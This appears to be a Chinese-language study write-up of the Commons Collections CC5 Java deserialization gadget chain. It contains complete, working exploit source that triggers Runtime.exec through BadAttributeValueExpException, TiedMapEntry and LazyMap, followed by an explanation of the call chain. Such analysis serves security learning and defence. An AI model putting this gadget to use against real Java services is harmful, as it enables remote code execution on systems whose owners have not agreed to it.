1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC5Exp { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException valExp = new BadAttributeValueExpException(null); Field valField = valExp.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(valExp, tiedMapEntry); byte[] bytes = serialize(valExp); System.out.println("序列化完成,准备触发反序列化..."); unserialize(bytes); } public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); } public static void unserialize(byte[] data) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
新入口 BadAttributeValueExpException,JDK 自带的一个异常类,它的 readObject 方法中,有一段逻辑:如果安全管理器(SecurityManager)允许,它会去获取内部变量 val 的值,并调用它的 toString() 方法。
这里的 valObj 就是我们通过反射设置的 tiedMapEntry 对象

TiedMapEntry 的作用是将一个 key 和一个 Map 绑定在一起。当调用它的 toString() 方法时,为了拼接字符串,它底层会自动去调用内部 Map 的 get(key) 方法来获取对应的值。
把 TiedMapEntry 传给 BadAttributeValueExpException 的 val 属性,然后把包含恶意 Transformer 的 LazyMap 传给 TiedMapEntry 内部的 Map。由此将入口的 toString() 和目标 LazyMap 的 get() 连接起来。

这里的 map 是 lazyMap,key 是 "foo"

随后调用 LazyMap.get(),factory 就是 transformerChain,key 是 "foo"(不存在于 innerMap 中)
CC5 的后半段(LazyMap 到 InvokerTransformer)和 CC1 相同
1 2 3 4 5 6 7 8
| ois.readObject() <=> ObjectInputStream.readObject() BadAttributeValueExpException::readObject() ->TiedMapEntry::toString() ->TiedMapEntry::getValue() ->LazyMap::get() ->ChainedTransformer::transform() ->ConstantTransformer::transform() ->InvokerTransformer::transform()
|